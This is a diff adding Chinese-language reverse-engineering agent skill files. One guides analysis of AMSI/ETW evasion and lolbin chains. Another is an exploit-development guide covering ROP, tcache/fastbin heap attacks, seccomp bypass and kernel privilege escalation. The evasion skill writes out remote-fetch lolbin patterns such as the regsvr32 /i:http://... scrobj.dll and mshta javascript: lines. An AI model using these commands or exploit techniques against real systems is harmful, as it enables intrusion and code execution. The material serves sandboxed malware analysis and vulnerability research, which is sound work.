- **ARM Thumb**:Thumb 代码要 `UC_MODE_THUMB`(或 AArch32 混 Thumb 用 `UC_MODE_ARM | UC_MODE_THUMB` 组合),模式错了解码全乱
|
||||
- **字节序**:armeb/mipsel 用 `UC_MODE_BIG_ENDIAN`/架构对应模式,数据端序与指令端序都要对
|
||||
- **寄存器常数随架构**:x86 用 `UC_X86_REG_*`、arm 用 `UC_ARM_REG_*`——混用常数报错或拿到错寄存器
|
||||
- **Android .so → unidbg**:Unicorn/Qiling 裸跑缺 JNI 语义跑不动;iOS 加固/签名 so → Chomper(见 SKILL.md 对应坑)
|
||||
- **Windows 目标**:Qiling 的 `rootfs/x86_windows` 基于 wine 较重量级,启动慢、部分 API 语义不完整——先试 Linux 化目标或摘函数到 Unicorn
|
||||
|
||||
## 结果可信度边界
|
||||
|
||||
- **模拟结果"正常"不等于正确**:环境可能被检测并返回诱饵——用真实环境/服务器响应验证(JNI 回调类尤其)
|
||||
- **快照不跨版本**:qsave 与 Qiling 版本强绑定,升级框架后旧快照可能恢复失败——关键阶段同时落盘明文段(mem_read),别只依赖快照
|
||||
- **性能**:UC_HOOK_CODE 全量追踪会慢一个数量级——追踪段限定地址范围(hook_add 的 begin/end 参数)或改 hook 内条件判断
|
||||
- **执行流修正**:hook 内改 PC 做跳转后,目标块执行完可能又落回原指令——需要 `hook_del` 或永久改写内存字节
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 模拟属动态执行:默认沙箱 + 网络隔离([[re-analyze/platform-tips]] 最高原则)
|
||||
- 产物(明文段/轨迹/快照)sha256 存档([[re-triage]]);结论入 [[re-analyze/analysis-contract]],与真实执行交叉验证后归档
|
||||
115
vendor-new/rev-skills/.claude/skills/re-evasion/SKILL.md
Normal file
115
vendor-new/rev-skills/.claude/skills/re-evasion/SKILL.md
Normal file
@@ -0,0 +1,115 @@
|
||||
---
|
||||
name: re-evasion
|
||||
description: >
|
||||
检测规避/EDR 对抗分析:AMSI/ETW 绕过、无文件、lolbin 链。
|
||||
触发词:规避、evasion、AMSI、ETW、无文件、lolbin、EDR绕过
|
||||
capabilities: [evasion-analysis]
|
||||
---
|
||||
|
||||
# 检测规避与 EDR 对抗分析
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:恶意样本/工具被检测(杀软、EDR)后分析其规避手段——AMSI 绕过、ETW 禁用、无文件执行、lolbin 链
|
||||
- 用:回答"为什么被检测"与"绕过点在哪"(与检测侧对齐,步骤 5)
|
||||
- 用:无文件/内存载荷的执行链分析(载荷不落盘的样本)
|
||||
- 不用:纯静态代码分析(那是 [[re-binary-core]]);不关心绕过机制、只观察行为的动态分析(那是 [[re-behavior]])
|
||||
- 不用:检测规则编写本身(那是 [[re-ioc]] 的 YARA 与检测工程侧)
|
||||
- 注意:本技能以 Windows 为主(AMSI/ETW/lolbin 均为 Windows 概念);Linux/macOS 的类似对抗(ptrace 检测、Dyld 注入、kext 绕过)按同一"规避识别→绕过点定位"框架套用
|
||||
|
||||
## 工具准备
|
||||
|
||||
规避分析必须动态执行 + 内存取证:全程在沙箱内([[re-sandbox]] 强制前置,[[re-analyze/platform-tips]] 最高原则)。所有工具先验证再使用。
|
||||
|
||||
### amsi.dll 内存对照 —— AMSI patch 定位主力(无独立安装包)
|
||||
|
||||
- 原理: 磁盘 `C:\Windows\System32\amsi.dll` 与内存中的 amsi.dll 逐字节对照,函数头差异即 patch 点
|
||||
- 取内存拷贝: Sysinternals procdump(微软官网/`winget install Microsoft.Sysinternals.Procdump`)`procdump -accepteula -ma <pid> mem.dmp`;或 [[re-memdump]](gcore/WSL)全量转储
|
||||
- 验证: 对未运行样本的场景用 AMSITrigger 兜底;对照脚本见步骤 2
|
||||
|
||||
### AMSITrigger —— 定位触发 AMSI 扫描的字符串(Outflank 出品)
|
||||
|
||||
- 下载: GitHub 检索 `AMSITrigger`(原 outflanknl 仓库已不可用,社区镜像常见,如 RythmStick/AMSITrigger);.NET 工具,解压即用
|
||||
- 验证: `AMSITrigger.exe -i test.ps1` 输出逐行触发状态(Detected / Not Detected)
|
||||
- 用途: 分析"脚本里哪些字符串触发检测"→ 对应混淆/规避目标
|
||||
|
||||
### ETW 监控 —— logman / SilkETW / WPR / ETWConsumer 类工具
|
||||
|
||||
- logman(Windows 内置): 验证 `logman query providers | findstr /i sysmon`;`logman query -ets` 看活动会话
|
||||
- SilkETW(Mandiant 开源,C#): GitHub releases 下载;验证: `SilkETW.exe -t user -pn Microsoft-Windows-Sysmon -ot file -p out.etl` 能生成 .etl
|
||||
- WPR(Windows Performance Recorder,内置): `wpr -start` 后 `wpr -stop out.etl`
|
||||
- ETWConsumer 等第三方 ETW 消费者工具(GitHub 检索,按需);本机看 provider 的替代: `tracerpt` 解析 .etl
|
||||
- 用途: 确认 ETW 是否被禁——事件流中断/缺失即禁用证据(见步骤 3)
|
||||
|
||||
### Sysmon / procmon —— 进程链与执行行为(lolbin 链追踪)
|
||||
|
||||
- Sysmon(Sysinternals,微软官方): 配置含 ProcessCreate(事件 1,记录父子进程与命令行);验证: `Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational';Id=1} | select -First 1`
|
||||
- procmon(Sysinternals): 文件/注册表/进程/网络全量,可按进程树过滤;验证: `procmon.exe /AcceptEula /Quiet` 能启动
|
||||
- 二者均无发行版包,从微软官网/Sysinternals 下载
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步产物(内存转储/ETL/日志/命令行走访记录)存档 sha256 + 路径([[re-ioc]] 证据链要求)。
|
||||
|
||||
1. **规避手段识别(先分类再深入)**:
|
||||
- 输入: 样本/工具 + 检测触发信息(杀软告警、EDR 日志、沙箱告警)
|
||||
- 分类清单(按特征归档): AMSI 绕过(patch / 反射加载)、ETW 禁用(patch provider / 掩码)、无文件(内存执行 / 注册表运行键 + 远程脚本 / WMI)、lolbin 链(rundll32 / mshta / regsvr32 / WMI / PowerShell)、字符串编码混淆(防特征)
|
||||
- 证据采集: 沙箱内运行([[re-sandbox]])→ Sysmon/procmon 记录进程创建链与命令行;同时 [[re-memdump]] 留内存快照(默认转储优先,[[re-analyze/platform-tips]]「直读 vs 转储」);PowerShell 开启 ScriptBlock 日志(事件 4104)与模块日志
|
||||
- 先跑一遍不 patch 的基准样本确认"检测触发点"(见坑 5 与步骤 5 对齐)
|
||||
|
||||
2. **AMSI 绕过分析(内存 patch 定位)**:
|
||||
```sh
|
||||
procdump -accepteula -ma <pid> mem.dmp # 运行后取进程内存(或 gcore,见 [[re-memdump]])
|
||||
# 对照: 磁盘 amsi.dll 与内存中 amsi.dll 的函数头字节
|
||||
# 常见 patch: AmsiScanBuffer 入口改为直接返回 0x80070057("AMSI 已初始化"假成功)
|
||||
# 或 EtwEventWrite 系列前几字节 patch 成 ret
|
||||
```
|
||||
- 定位法: 磁盘 amsi.dll 里 AmsiScanBuffer 的入口偏移(Ghidra/IDA 或 `dumpbin /exports`)→ 内存 dump 同偏移字节对照;有差异即 patch 点
|
||||
- 其他形式: 反射加载 amsi.dll 前 hook(Detour 到用户代码)、CLR 侧绕过(托管层关闭 AMSI provider)
|
||||
- 用 AMSITrigger 验证"哪些字符串触发"→ 样本混淆目标与绕过有效性互证
|
||||
- patch 定位前确认环境基线: 不运行样本时磁盘/内存 amsi.dll 一致(排除 EDR 自身 hook 干扰,见坑 4)
|
||||
|
||||
3. **ETW 禁用分析**:
|
||||
```sh
|
||||
logman query -ets # 活动会话;与样本运行前后对比
|
||||
# SilkETW 捕获: 运行样本前后各抓一段,对比事件数量/内容
|
||||
# 定位: 内存中 ntdll 的 EtwEventWrite / EtwEventWriteEx 前几字节 vs 磁盘(同步骤 2 对照法)
|
||||
```
|
||||
- 禁用证据: 样本运行后 ETW 事件流中断(某 provider 零事件/整体丢失);patch 点通常位于 ntdll 的 `EtwEventWrite*`
|
||||
- 确认范围: 全局禁用(改 EtwEventWrite 本身)vs 特定 provider 禁用(改 provider 的 enable 掩码/Level)——决定影响面与检测侧恢复建议
|
||||
- 与 AMSI 常组合出现(一个 patch 多个目标),对照报告两者联动(见坑 1)
|
||||
|
||||
4. **lolbin 链追踪(rundll32/mshta 等)**:
|
||||
```sh
|
||||
# Sysmon 事件 1(ProcessCreate)按进程树关联,重点看父进程 + 命令行
|
||||
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational';Id=1} |
|
||||
Select TimeCreated, @{n='Parent';e={$_.Properties[1].Value}}, @{n='Image';e={$_.Properties[3].Value}}, @{n='Cmd';e={$_.Properties[4].Value}}
|
||||
```
|
||||
- 典型链: `cmd → rundll32.exe javascript:"..."`、`regsvr32.exe /s /n /u /i:http://... scrobj.dll`、`mshta.exe javascript:...`、`powershell -enc ...` → 内存载荷
|
||||
- 关键: 只看样本自身进程会漏掉真实行为(样本借道白名单进程执行——见 [[re-sandbox]] 的 brokered execution 坑);按整条进程树观察,父→子逐级记录
|
||||
- 无文件判定: 进程映像路径非常规(%TEMP%)、脚本引擎(wscript/cscript/mshta)加载远程或纯内存内容、无对应磁盘文件——载荷证据靠内存转储与命令行(见坑 3)
|
||||
|
||||
5. **与检测侧对齐(为什么被检测 → 规避点)**:
|
||||
- 把检测告警命中的内容(触发字符串/行为签名/导入表特征)与步骤 2-4 的证据对照,形成: 检测点(杀软签名/行为规则)→ 规避点(patch/混淆/lolbin)→ 仍可被检测的缺口(见坑 4 版本差异)
|
||||
- 输出: 规避手法清单 + 对应 IOC——内存 patch 后 amsi.dll/ntdll 的哈希、lolbin 组合的命令行模式、无文件载荷的内存特征(进 [[re-ioc]] YARA)
|
||||
- 结论必须标注验证环境(OS 版本/EDR 版本/杀软),规避有效性声明带版本限定
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-anti-analysis]]:本技能是该网关的检测规避分支——壳/混淆是"静态反分析",AMSI/ETW/无文件是"检测对抗",编排上并列
|
||||
- [[re-sandbox]]:动态执行强制前置——规避分析全程在隔离环境(网络隔离 + 快照,见 [[re-analyze/platform-tips]] 最高原则)
|
||||
- [[re-memdump]]:内存 patch 定位与无文件载荷取证(默认转储优先)
|
||||
- [[re-behavior]]:进程链/执行行为观察(lolbin 链的行为侧佐证)
|
||||
- [[re-tracing]]:API 调用跟踪——patch 目标函数(AmsiScanBuffer/EtwEventWrite)的调用序列佐证绕过是否生效
|
||||
- [[re-ioc]]:规避特征(内存哈希/命令行模式/lolbin 组合)进 IOC 与 YARA 规则
|
||||
- [[re-malware]]:恶意样本的规避层分析(re-malware 行为分析后转本技能深挖规避)
|
||||
- [[re-ebpf]]:驻留 bpf hook(fentry/kprobe/tracepoint/cgroup)的识别与反制
|
||||
- 引用 [[re-analyze/platform-tips]] 最高原则(默认沙箱)与 Windows 分支
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **规避手段与反沙箱交织**:现象——沙箱里样本表现"正常"(无任何规避动作),真实环境才绕过;原因——规避代码里夹反沙箱检测(先探测环境再决定是否启用绕过);对策——把"规避分析"与"环境伪装"分开([[re-anti-analysis]] 域):先定位反沙箱检测点([[re-sandbox]] 的交互/时间/硬件指纹坑),或先按 [[re-behavior]] 的延迟观察拉长窗口,再分析规避逻辑
|
||||
- **AMSI patch 触发完整性校验**:现象——patch 后样本行为异常/崩溃/检测反而升级;原因——EDR/Defender 校验 amsi.dll/ntdll 内存完整性(与磁盘比对哈希,见 [[re-anti-analysis]] AD13 自校验思路),或样本自身做自校验;对策——先确认校验存在(重复比对内存哈希频率),patch 改"校验看不见"的位置(hook 而非函数体、保持整体哈希一致),分析时记录 patch 时机与校验触发点
|
||||
- **无文件样本取证难**:现象——磁盘上没有样本文件,报告无"物证",结论站不住;原因——载荷全程在内存/远程脚本/注册表运行键,常规文件取证抓不到;对策——运行前先 [[re-memdump]] 全量转储 + procmon/Sysmon 记录命令行与网络;PowerShell 开 ScriptBlock 日志(事件 4104);结论以内存证据 + 命令行 + 网络流为准,[[re-ioc]] 收内存哈希类特征
|
||||
- **EDR 版本差异**:现象——同一 patch 手法在环境 A 成功、环境 B 失效或告警;原因——patch 偏移(如 AmsiScanBuffer 入口字节)随 Windows 补丁与 EDR hook 版本变化;对策——动态现场确认偏移(步骤 2 的内存对照法不依赖固定偏移,别信网上的硬编码偏移);结论标注验证环境版本,规避有效性声明带版本限定
|
||||
- **检测日志缺失 → 方向错误**:现象——没有 Sysmon/EDR 日志,无法确认"为什么被检测",分析无从对齐;原因——环境未配置日志采集(默认 Windows 不记录 ProcessCreate 细节);对策——补 Sysmon 配置(ProcessCreate + NetworkConnect + ImageLoad)+ PowerShell 4104,重跑复现;检测告警信息(杀软界面/EDR 事件)先截全再分析
|
||||
130
vendor-new/rev-skills/.claude/skills/re-exploit/SKILL.md
Normal file
130
vendor-new/rev-skills/.claude/skills/re-exploit/SKILL.md
Normal file
@@ -0,0 +1,130 @@
|
||||
---
|
||||
name: re-exploit
|
||||
description: >
|
||||
利用开发:ROP 链构造、堆利用。
|
||||
触发词:ROP、堆利用、fastbin、tcache、利用开发、exploit
|
||||
capabilities: [exploit-development]
|
||||
---
|
||||
|
||||
# 利用开发(ROP 链构造 / 堆利用)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:拿到已定位的漏洞(越界读写 / 崩溃 / 危险输入)要升级为 RCE / 任意读写——漏洞分析([[re-crash-triage]] / [[re-vuln]])移交的利用开发环节
|
||||
- 用:ROP 链构造——gadget 搜索、栈布局、ret2csu / SROP / ret2dlresolve
|
||||
- 用:堆利用——fastbin / tcache 攻击、unsorted bin 泄露、double free 系列
|
||||
- 用:seccomp 沙箱绕过(ORW:open / read / write 链)
|
||||
- 不用:入门级 pwn(ret2win / 简单 ret2libc / 格式化字符串)→ [[re-pwn]]
|
||||
- 不用:只有崩溃还没有定位(→ [[re-crash-triage]]);还没崩溃找 bug(→ [[re-fuzzing]])
|
||||
- 注意:利用验证是动态执行,默认在沙箱内跑([[re-analyze/platform-tips]] 最高原则,见 [[re-sandbox]]);**先规划再写**(坑 4),组合绕过分步验证
|
||||
|
||||
## 工具准备
|
||||
|
||||
参考 [[re-analyze/platform-tips]]——利用验证默认沙箱;静态准备(gadget 搜索 / 规划)可免沙箱,动态验证进沙箱。
|
||||
|
||||
### pwntools(pip 安装,见 [[re-pwn]])—— 利用脚本主力
|
||||
|
||||
- `pip install pwntools`(官方 PyPI,当前正式版 4.15.0)——**Python 版本兼容性以 [[re-pwn]] 的「工具准备」为准**(版本矩阵只在该处维护一份,避免两处漂移)
|
||||
- 发行版包:Debian/Ubuntu `sudo apt install python3-pwntools`、Fedora `sudo dnf install python3-pwntools`、Arch `sudo pacman -S python-pwntools`(Extra 仓库官方包)
|
||||
- **Python 3.12+(Ubuntu 24.04 自带 3.12)直接 pip 装报 PEP 668 `externally-managed-environment`**——对策:venv(`python3 -m venv ~/venvs/pwn && source ~/venvs/pwn/bin/activate`)或发行版包或 `--break-system-packages`
|
||||
- 验证: `pwn --version` / `python3 -c "import pwn; print(pwn.version)"`
|
||||
|
||||
### ropper / ROPgadget —— gadget 搜索
|
||||
|
||||
- ropper:`pip install ropper`(官方 PyPI);Arch `sudo pacman -S ropper`(Extra 官方包);Debian/Ubuntu/Fedora 无官方包 → pip
|
||||
- ROPgadget:`pip install ROPgadget`(官方 PyPI);Debian/Ubuntu `sudo apt install python3-ropgadget`、Fedora `sudo dnf install python3-ROPGadget`、Arch `sudo pacman -S ropgadget`(均为官方包)
|
||||
- 验证: `ropper --version`;`ROPgadget --binary ./target | head`;常用搜索:`ROPgadget --binary ./target | grep 'pop rdi'`、`ropper -f ./target --search "pop rdi"`
|
||||
|
||||
### gdb + gef/pwndbg(见 [[re-gdb]])—— 栈/堆布局验证
|
||||
|
||||
- gdb: Debian/Ubuntu `sudo apt install gdb`、Fedora `sudo dnf install gdb`、Arch `sudo pacman -S gdb`、macOS `brew install gdb`;32 位目标 Debian/Ubuntu 补 `gdb-multiarch` + `libc6-i386`
|
||||
- **堆利用调试建议装 pwndbg**:`heap` / `bins`(tcachebins / fastbins / unsorted)命令直接看 chunk 布局与 bin 链表(gef 也有 `heap bins`,功能略弱);验证: gdb 里 `heap bins` 有输出
|
||||
- pwndbg 内置 `checksec`(见 [[re-pwn]] 工具准备)
|
||||
|
||||
### angr(可选,见 [[re-angr]])—— 溢出大小 / 路径约束自动化
|
||||
|
||||
- `pip install angr`——**Python 版本兼容性以 [[re-angr]] 的「工具准备」为准**(版本矩阵只在该处维护一份,避免两处漂移)
|
||||
- 用:溢出偏移不确定(符号化输入求覆盖返回地址的约束)、利用路径校验逻辑复杂
|
||||
- 验证: `python3 -c "import angr; print(angr.__version__)"`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行;每步产物(利用面结论、gadget 清单、链布局、PoC)记录证据路径 + sha256(存证方法见 [[re-triage]]),供报告引用。
|
||||
|
||||
1. **利用面分析(崩溃点 / 可控数据)**:
|
||||
- 输入:[[re-crash-triage]] 的最小 PoC / 漏洞报告(崩溃点 + 输入通道)——确认**可控字节范围与偏移**(`cyclic` 定位崩溃时 rip 偏移,见 [[re-pwn]] 步骤 2)
|
||||
- `pwn checksec --file ./target`:NX / PIE / Canary / RELRO——每项决定一条限制:栈不可执行 → 不能直接跑 shellcode;PIE → 地址要泄露 base;RELRO full → GOT 不可写(改函数指针 / 栈地址 / libc 钩子替代)
|
||||
- **seccomp 检查**:`seccomp-tools dump ./target`(Gem: `gem install seccomp-tools`,官方途径;Arch 官方仓库无此包——仅 AUR 有 `seccomp-tools`,直接用 gem 即可)或静态找 `prctl` / `seccomp` 调用——若禁 `execve` 则拿 shell 路线作废,改 ORW 链(步骤 4)
|
||||
- 记录:崩溃偏移、保护矩阵、seccomp 规则、可利用原语(任意写 / 栈溢出 / 堆越界)
|
||||
|
||||
2. **ROP 链(gadget 搜索、栈布局)**:
|
||||
```sh
|
||||
ROPgadget --binary ./target | grep -E 'pop rdi|pop rsi|pop rdx' # 64 位传参 gadget
|
||||
ROPgadget --binary ./target | grep 'ret' | head # 对齐用 ret
|
||||
ropper -f ./target --search "syscall" # SROP / shellcode 跳板
|
||||
```
|
||||
- 布局模板(64 位,先泄露后执行两段式):
|
||||
`padding + pop_rdi_ret + arg1 + func_addr + [对齐 ret] + 下一段...`
|
||||
- 参数顺序:rdi → rsi → rdx(SysV ABI);缺 rdx gadget 时用 **ret2csu**(`__libc_csu_init` 里的 `pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret` + 搬运 mov 段)或 ret2dlresolve
|
||||
- **16 字节对齐**:`call` 时 `$rsp % 16 == 0` 才满足 `movaps`(glibc 新版本 `system`/`printf` 内部会用),不对齐在 gadget 链前补一个 `ret`
|
||||
- 栈布局产物:链注释图(偏移 + gadget 地址 + 参数)+ 算好的偏移表
|
||||
|
||||
3. **堆利用(fastbin / tcache 攻击模式)**:
|
||||
- 先看 glibc 版本(`ldd ./target | grep libc`)决定攻击面(坑 3):
|
||||
- **tcache(glibc ≥ 2.26)**:tcache poisoning——double free 后改 `fd` 到目标地址附近 → 下一次分配拿到任意地址(2.32+ 指针被 safe-linking 异或,坑 3);UAF 直接改 fd 更快
|
||||
- **fastbin(glibc < 2.26 / 老题)**:fastbin dup——double free 同一 chunk 两次 → 同一地址连续分配两次 → 伪造堆上任意写
|
||||
- **unsorted bin 泄露**:free 大 chunk(> fastbin 上限)进 unsorted bin,fd/bk 指向 main_arena —— `show`/格式化读泄露 libc base(`libc_base = leaked - main_arena_offset`)
|
||||
- 用 pwndbg 逐 chunk 验证:
|
||||
```
|
||||
(gdb) heap # 看 chunk 布局与地址
|
||||
(gdb) bins # 看各 bin 链表(tcachebins/fastbins/unsorted)
|
||||
```
|
||||
- 模式清单:double free → tcache dup;UAF → fd 覆写 / 泄露;off-by-one(单字节溢出)→ 改 next chunk size 造重叠 chunk;house of 系列(高版本利用)标注复杂度再上
|
||||
- 目标落地:任意地址分配 → 改 `__free_hook`(≤2.33)/ `__malloc_hook` / GOT 可写项 / 栈返回地址 → 触发 get shell 或任意读写
|
||||
|
||||
4. **沙箱 / 缓解绕过(seccomp)**:
|
||||
- 若步骤 1 发现禁 `execve`:**ORW 链**——ROP 依次调 `open(flag_path, 0)` → `read(fd, buf, n)` → `write(1, buf, n)`:
|
||||
```sh
|
||||
ROPgadget --binary ./target | grep -E 'syscall|pop rdi|pop rsi|pop rdx' # 或 libc 里的 gadget
|
||||
```
|
||||
- 找不到现成 `syscall` gadget 时用 libc 的(先泄露 libc base)或 SROP(`rt_sigreturn` 构造寄存器帧)
|
||||
- 缓解绕过思路:PIE → 先泄露 base(格式化 / 堆泄露 / puts 泄露,见 [[re-pwn]] 步骤 3-4);Canary → 泄露后再溢出(payload = pad + canary + pad + ret,canary 低 1 字节为 `\x00` 可直接截断处理);RELRO full → 不打 GOT,改栈 / `__free_hook` / `environ` 泄栈地址
|
||||
- 组合顺序纪律:先泄露(canary / libc base / heap base)→ 再覆盖(坑 4)
|
||||
|
||||
5. **PoC 验证**:
|
||||
```python
|
||||
from pwn import *
|
||||
context.binary = './target'; context.log_level = 'debug'
|
||||
p = process('./target') # 沙箱内本地;远程: remote(host, port)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
- 验证纪律:**逐步验证每段链**(泄露段先打,看到泄露值对得上再打覆盖段)——一次全链失败无法定位是哪段错(坑 4);gdb 断在链入口逐条 `si` 确认跳转与栈布局
|
||||
- 本地跑通 → 记录 PoC(文件 + sha256 + 运行输出)→ 远程最终验证;PoC hash 与漏洞特征可进 [[re-ioc]]
|
||||
|
||||
## 内核利用
|
||||
|
||||
与用户态同框架:fuzz([[re-fuzzing]])→ crash([[re-crash-triage]])→ 利用(本路径)。
|
||||
|
||||
- **提权原语**:modprobe_path 覆写(触发内核执行任意路径)、cred 结构覆写(uid/gid 置 0)、io_uring / BPF 子系统利用面
|
||||
- **堆喷与对象布局**:堆喷策略(同尺寸对象占位)、对象重叠(UAF 后伪造对象)、SLUB 分配器行为(per-CPU 缓存)
|
||||
- **内核 UAF 利用路径**:漏洞触发(悬垂引用)→ 对象重用(占位伪造)→ 控制流劫持(函数指针 / ops 表覆写)
|
||||
- **环境**:调试内核(KASAN 开、KASLR 关闭或绕过)、gdb/kgdb 断点、模块化测试(只读分析 + 沙箱验证)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-vuln]]:本技能被漏洞挖掘网关引用——网关 4-5 步(逆向定位 → 报告)之后,可利用的漏洞进入本技能做利用开发(漏洞挖掘域"从崩溃到 PoC"的收口)
|
||||
- [[re-crash-triage]]:崩溃分析 / 最小 PoC 输入交接本技能(利用面分析第一步的输入);本技能产出的 PoC 反过来验证漏洞可达性
|
||||
- [[re-pwn]]:入门衔接——栈溢出 / 格式化字符串 / ret2libc 基础在本技能扩展为复杂 ROP 与堆利用
|
||||
- [[re-ctf]]:pwn 赛题进阶(堆题 / 高难度 ROP 题)经网关调度本技能
|
||||
- [[re-angr]](可选):溢出偏移求约束、利用路径校验自动化
|
||||
- [[re-gdb]]:栈 / 堆布局动态验证(pwndbg `heap`/`bins`);[[re-binary-core]] 底座定位原语与后门
|
||||
- [[re-sandbox]] / [[re-analyze/platform-tips]]:利用验证默认沙箱内跑(最高原则);远程目标仅做最终验证
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **gadget 地址受 ASLR / PIE 影响(泄漏为先)**:现象——按静态地址(`objdump` 出的 gadget / 函数地址)写链,本地偶发成功远程必挂,或泄露后算出的 base 对不上;原因——PIE 开启时二进制基址随 ASLR 变化(低 12 位页内偏移不变),libc 基址同理;静态地址只在无 PIE(或已算 base)时成立;对策——**泄漏为先**:第一段链先泄露(puts/printf 打 GOT 或堆/格式化泄露),`libc_base = leaked - offset`、`binary_base = leaked - offset`,后续所有 gadget/函数地址 = base + 静态偏移(低 12 位直接拼);每次泄露后重新计算再发覆盖段,别复用上一轮的 base
|
||||
- **tcache 双链表检查(safe-linking 异或 / key 检查)**:现象——glibc 2.32+ 上 classic tcache poisoning 崩(`malloc(): unaligned tcache chunk detected`)或 double free 直接 abort(`free(): double free detected in tcache 2`);原因——2.32 起 tcache fd 被 safe-linking 异或(`PROTECT_PTR(pos, ptr) = ptr ^ (pos >> 12)`,pos 是**该 chunk 的 fd 字段自身存储地址**(常规 chunk 即 `chunk_addr + 0x10`),不是 heap_base);2.29 起 double free 检查 key 字段:free 进 tcache 时把 key 写成 tcache 结构地址,再 free 同 chunk 时发现 key 仍等于 tcache 指针就**遍历整个 bin** 找重复(命中直接 `malloc_printerr` abort)——"中间插一次 free 别的 chunk"不清除首个 chunk 的 key 字段,绕不过;对策——写新 fd 前先**泄露堆地址**再编码:`stored_fd = new_fd ^ (fd_field_addr >> 12)`(UAF 读到的 fd 是已解密指针,但**新值必须重新编码**——`PROTECT_PTR` 作用于每次写入,只有原样写回才免编码);double free 绕 key 检查只有两条路:① UAF 改写 key 字段(改成非 tcache 指针值)② 改 size 使 chunk 落入**不同 bin**(key 检查只看目标 bin 的链头,落别的 bin 不触发)
|
||||
- **glibc 版本差异(check 变化)**:现象——本地(如 glibc 2.31)打通的堆利用,题目远程(2.35 / 2.27)行为完全不同:tcache 不存在 / 数量上限不同 / `__free_hook` 没了 / safe-linking 出现;原因——堆管理器每版本收紧检查:2.26 引入 tcache、2.29 加 key 检测、2.32 加 safe-linking、2.34 删 `__malloc_hook`/`__free_hook`(2.34+ 用 `__libc_malloc` 指针或环境劫持)、2.37 起 `global_max_fast` 收窄为 `uint8_t`(fastbin 上限随之收紧)、tcache 初始化改用 `__getrandom_nocancel`;对策——`ldd ./target | grep libc` 先确认版本,攻击面按版本选(步骤 3 清单);本地环境与远程不一致时用 `patchelf --set-interpreter ./ld-2.35.so --replace-needed libc.so.6 ./libc-2.35.so` 换 libc 本地复现;2.34+ 换目标(`__malloc_hook` 不存在 → 打 `exit` 函数指针 / `setcontext` / vtable 思路);每个 check 收紧点(key / safe-linking / count)列检查清单逐步验证
|
||||
- **绕过组合复杂(先规划再写)**:现象——防护多个叠加时(NX+PIE+Canary+seccomp+高版本 glibc)脚本越改越乱,动不动全崩,调试半天发现是某一小段逻辑错;原因——每个保护是独立约束,组合后依赖链长(泄露 canary → 泄露 libc → 泄露堆 → ORW 链),一步错全盘错,边写边试没有全局规划;对策——**先写利用规划表再写代码**:列清(1)需要哪些原语(栈溢出 / UAF / 格式化写)(2)需要泄露什么、泄露顺序与依赖(canary 必须在覆盖前、libc base 必须在调 libc 函数前)(3)每段链的入口与出口;然后**分步实现分步验证**:泄露段单独跑通(值对得上)→ 覆盖段单独跑通(gdb 确认返回地址命中)→ 合链;gdb 断点逐段 `si`;每改一步先确认上一步仍通
|
||||
- **对齐问题(movaps / 栈对齐)**:现象——ROP 链到 `system` 或 `printf` 就段错误,gdb 看指令在 `movaps` 处崩,链前半段明明全对;原因——x86-64 ABI 要求 `call` 时栈 16 字节对齐,GCC 生成的 libc 函数(`printf`/`system`/`execve`)内部 `movaps` 假设对齐,不对齐直接 SIGSEGV;对策——在调用 gadget 链里、目标函数前补一个 `ret` gadget(`ret` 使 `$rsp += 8` 调整对齐);或选对齐版 gadget(`pop rdi; ret` + 偶数字节 padding);64 位所有 libc 函数调用前都按此检查
|
||||
57
vendor-new/rev-skills/.claude/skills/re-feedback/SKILL.md
Normal file
57
vendor-new/rev-skills/.claude/skills/re-feedback/SKILL.md
Normal file
@@ -0,0 +1,57 @@
|
||||
---
|
||||
name: re-feedback
|
||||
type: gateway
|
||||
description: >
|
||||
经验反馈元网关。三源收集(会话复盘/文章扫描/手动输入)→ 蒸馏脱敏 → 归域 → 三档处理(发表 issue/本地入库/不入库)。
|
||||
触发词:反馈经验、经验入库、提交经验、经验复盘、心得沉淀、lessons learned。
|
||||
---
|
||||
|
||||
# 经验反馈
|
||||
|
||||
<HARD-GATE>
|
||||
两条红线,违反即停:
|
||||
1. 呈现中性:选项/建议禁用「最推荐」「强烈建议」等最高级强推措辞,只中性列出选项与适用场景,由用户自决。
|
||||
2. 隐私脱敏:蒸馏产物禁止具体到某个项目/公司/产品,暗示也不行(行业+规模+地域组合、专有协议名、内部代号等)。
|
||||
本库公开发布(npm + 插件市场),本地入库同样受约束。入库/发 issue 前必须做脱敏自检。
|
||||
</HARD-GATE>
|
||||
|
||||
## 完整工作流
|
||||
|
||||
1. 收集(三源归一):
|
||||
- 会话复盘:本次分析会话的踩坑/新方法([[re-analyze]] 第四步调用时已就绪)
|
||||
- 文章扫描:`node bin/wxsource.mjs` 抓取看雪/微信文章(`node bin/wxsource.mjs kanxue thread <帖子ID> --md` / `node bin/wxsource.mjs wechat <文章URL> --md`),逐篇蒸馏
|
||||
- 手动输入:用户一句话/一段笔记
|
||||
2. 蒸馏与脱敏:按 `references/intake.md` —— 坑格式 `**标题**:现象——…;原因——…;对策——…`,同步脱敏
|
||||
3. 归域分类:`references/intake.md` 决策表 → grep 技能库兜底 → 仍不确定问用户(不猜)
|
||||
4. 三档处理(中性呈现,不带推荐标注):
|
||||
先问用户档位:「这次经验怎么处理?1. 发表 issue 2. 本地入库 3. 不入库」,选定后再执行对应档,不预设默认档
|
||||
- ① 发表 issue:`which gh` + `gh auth status` 探测;可用则 `gh issue create --repo dslsdzc/rev-skills --label 经验`,标题「经验: <技能>: <一句话>」,正文按 `references/issue-template.md`;不可用 → 输出 markdown 草稿供手动提交;label 报不存在 → 去掉 --label 重试或提示用户先创建;仓库不可达 → 输出草稿
|
||||
